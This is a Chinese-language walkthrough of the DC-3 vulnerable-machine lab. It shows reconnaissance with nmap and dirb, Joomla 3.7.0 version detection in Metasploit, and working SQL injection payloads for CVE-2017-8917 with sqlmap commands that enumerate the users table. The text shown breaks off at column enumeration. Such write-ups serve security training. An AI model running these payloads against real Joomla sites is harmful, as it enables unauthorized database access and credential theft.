DC-3

DC-3
配置
信息收集
joomla渗透
- sql注入
- 代码写入
提权
总结

配置

载入虚拟机时遇到此问题：IDE 设备(磁盘/CD-ROM)配置不正确。“ide1:1”上具有一个 IDE 从设备，但没有主设备。此配置在虚拟机中无法正常运行。

在虚拟机设置中把IDE改成0:0

信息收集

nmap -T4 -A -p 1-65535 192.168.211.135

看来只开了一个80端口，web端渗透了。

dirb扫下目录

dirb http://192.168.211.135

扫到一个后台

joomla，直接干了

joomla渗透

sql注入

开启msf，搜索joomla的poc

auxiliary/scanner/http/joomla_version

先探测版本

Joomla version: 3.7.0

直接找一个适应此版本的漏洞

CVE-2017-8917

/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

爆库名：

/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,database()),1)

表名不知道为什么一直报错，直接上sqlmap了

sqlmap -u "http://192.168.211.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

爆表名

sqlmap -u "http://192.168.211.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

爆列名

sqlmap -u "http://192.168.211.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]